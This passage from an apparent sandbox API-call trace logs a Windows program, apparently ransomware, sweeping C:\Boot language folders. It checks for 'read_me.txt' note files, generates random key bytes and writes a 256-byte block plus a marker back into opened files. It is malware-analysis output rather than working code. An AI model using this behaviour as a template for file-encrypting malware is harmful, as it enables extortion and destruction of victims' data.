pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0077.514] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\read_me.txt") returned 23 [0077.514] GetProcessHeap () returned 0x540000 [0077.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c0088 | out: hHeap=0x540000) returned 1 [0077.514] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 0 [0077.514] GetProcessHeap () returned 0x540000 [0077.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.515] GetProcessHeap () returned 0x540000 [0077.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.515] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\*") returned 19 [0077.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.524] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\.") returned 19 [0077.524] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.524] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\..") returned 20 [0077.524] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.524] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33 [0077.524] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.524] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5591f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.524] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\read_me.txt") returned 29 [0077.524] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\read_me.txt" (normalized: "c:\\boot\\cs-cz\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0077.525] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.525] CloseHandle (hObject=0x7a8) returned 1 [0077.525] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5591f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5591f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5591f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.525] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.525] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\read_me.txt") returned 29 [0077.525] GetProcessHeap () returned 0x540000 [0077.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.525] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 2 [0077.525] GetProcessHeap () returned 0x540000 [0077.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.525] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.534] ReadFile (in: hFile=0x7ac, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.534] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.534] GetProcessHeap () returned 0x540000 [0077.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0077.534] GetProcessHeap () returned 0x540000 [0077.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0077.534] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0077.534] GetProcessHeap () returned 0x540000 [0077.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x333aa68 [0077.534] ReadFile (in: hFile=0x7ac, lpBuffer=0x333aa68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x333aa68*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.534] GetProcessHeap () returned 0x540000 [0077.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0077.535] GetProcessHeap () returned 0x540000 [0077.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.535] GetProcessHeap () returned 0x540000 [0077.535] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0077.535] GetProcessHeap () returned 0x540000 [0077.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.535] GetProcessHeap () returned 0x540000 [0077.535] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0077.535] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.536] GetProcessHeap () returned 0x540000 [0077.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.536] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.537] GetProcessHeap () returned 0x540000 [0077.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ad48 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ad48 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.538] GetProcessHeap () returned 0x540000 [0077.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.539] GetProcessHeap () returned 0x540000 [0077.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0077.540] GetProcessHeap () returned 0x540000 [0077.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0077.540] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.540] WriteFile (in: hFile=0x7ac, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0077.541] WriteFile (in: hFile=0x7ac, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0077.541] GetProcessHeap () returned 0x540000 [0077.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333aa68 | out: hHeap=0x540000) returned 1 [0077.541] GetProcessHeap () returned 0x540000 [0077.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0077.541] GetProcessHeap () returned 0x540000 [0077.541] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0077.541] CloseHandle (hObject=0x7ac) returned 1 [0077.542] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 0 [0077.542] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.542] ReadFile (in: hFile=0x7b0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.542] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.542] GetProcessHeap () returned 0x540000 [0077.542] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0077.542] GetProcessHeap () returned 0x540000 [0077.542] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0077.542] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0077.542] GetProcessHeap () returned 0x540000 [0077.542] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x333aa68 [0077.542] ReadFile (in: hFile=0x7b0, lpBuffer=0x333aa68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x333aa68*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0077.542] GetProcessHeap () returned 0x540000 [0077.542] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0077.543] GetProcessHeap () returned 0x540000 [0077.543] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0077.543] GetProcessHeap () returned 0x540000 [0077.544] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0077.544] GetProcessHeap () returned 0x540000 [0077.544] HeapFree (in: hHeap=0x540000, 